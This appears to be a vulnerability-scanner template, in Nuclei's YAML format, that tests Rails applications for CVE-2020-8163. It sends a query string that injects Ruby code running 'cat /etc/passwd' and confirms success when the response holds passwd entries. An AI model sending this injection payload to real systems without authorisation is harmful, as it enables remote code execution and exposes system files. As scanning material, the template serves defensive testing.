id: CVE-2020-8163

info:
  name: Potential Remote Code Execution on Rails
  author: tim_koopmans
  severity: high
  description: Tests for ability to pass user parameters as local variables into partials
  reference: https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/
  tags: cve,cve2020,rails,rce

requests:
  - method: GET
    path:
      - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body